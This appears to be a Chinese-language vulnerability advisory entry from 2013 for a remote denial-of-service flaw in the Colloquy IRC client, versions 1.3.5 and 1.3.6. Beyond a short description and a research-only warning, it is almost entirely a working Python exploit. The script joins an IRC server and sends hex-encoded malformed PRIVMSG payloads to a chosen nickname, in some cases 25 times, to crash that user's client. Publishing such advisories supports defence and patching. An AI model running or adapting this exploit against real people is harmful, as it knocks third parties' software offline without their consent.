发布日期：2013-01-09
更新日期：2013-01-13
受影响系统：
Colloquy Colloquy 1.3.6
Colloquy Colloquy 1.3.5
描述：
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BUGTRAQ ID: 57255
Colloquy是高级的IRC、SILC & ICB客户端。
Colloquy 1.3.5、1.3.6在实现上存在远程拒绝服务漏洞，攻击者利用此漏洞可造成目标应用崩溃而拒绝服务。
<*来源：Aph3x
*>
测试方法：
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警 告
以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！
###################################################################################
# # #
# # H O W - T O #
# # #
# #######################
#
# Provide the Target: Server, Port, Nickname and the script will deliver
# the payload...
#
# [!USE/]$ ./<file>.py -t <server> -p <port> -n <nickname>
#
###################################################################################
from argparse import ArgumentParser
from time import sleep
import socket
shellcode = {
# One Shot <3
'one_shot' : [ \
"687474703a2f2f782f2e2425235e26402426402426232424242425232426",
"23242623262340262a232a235e28242923404040245e2340242625232323",
"5e232526282a234026405e242623252623262e2f2e2f2e2e2f2e2e2f2324",
"2e24" ],
# 1.3.5
'1_3_5' : [ \
"687474703a2f2f782f3f6964783d2d312b554e494f4e2b53454c45435428",
"292c7573657228292c2873656c6563742532302d2d687474703a2f2f6874",
"74703a2f2f782f3f6964783d2d312b554e494f4e2b53454c45435428292c"
"7573657228292c2873656c6563742532302d2d687474703a2f2f" ],
# 1.3.6 - ( Requires Sending 25 Times )
'1_3_6' : [ \
"687474703a2f2f782f3f6964783d2d312b554e494f4e2b53454c45435428",
"292c7573657228292c2873656c6563742532302d2d687474703a2f2f6874",
"74703a2f2f782f3f6964783d2d312b554e494f4e2b53454c45435428292c",
"7573657228292c2873656c6563742532302d2d687474703a2f2f" ],
}
def own( sock, target, sc_key='one_shot' ):
sc = ''.join( shellcode[sc_key] )
targ = ''.join( ''.join( [ hex( ord( ch ) ) for ch in target ] ).split( '0x' ) )
msg = "505249564d534720{}203a{}0d0a".format( targ, sc )
if sc_key not in '1_3_6':
sock.send( bytes.fromhex( msg ) )
else:
try:
for x in range( 1, 26 ):
sock.send( bytes.fromhex( msg ) )
sleep( .64 )
except:
print( 'FAILED!')
def connect( uri, port, target, sc_key ):
sock = socket.socket()
try:
ret = sock.connect_ex(( uri, int( port ) ))
sock.recv(8096)
except:
print( "\t[-] Failed To Connect To {}".format( uri ) )
exit()
sock.send( b"\x4e\x49\x43\x4b\x20\x7a\x65\x6d\x70\x30\x64\x61\x79\x0d\x0a" )
sock.send( b"\x55\x53\x45\x52\x20\x7a\x65\x6d\x70\x30\x64\x61\x79\x20\x48\x45\x48\x45\x20\x48\x45\x48\x45\x20\x3a\x3c\x33\x0d\x0a" )
while True:
host_data = str( sock.recv( 8096 ).strip() )
if ' 396 ' in host_data:
print( '\t[+] Connection Successful Sending Payload To {}'.format( target ) )
own( sock, target, sc_key )
sock.send( b'QUIT\r\n' )
sock.close()
break
try:
msg = host_data.split()
if msg[0].lower() is 'ping':
sock.send( b"PONG {}\r\n".format( msg[1] ) )
continue
except:
pass
print( '\t[!] Payload Sent, Target Should Drop Shortly <3' )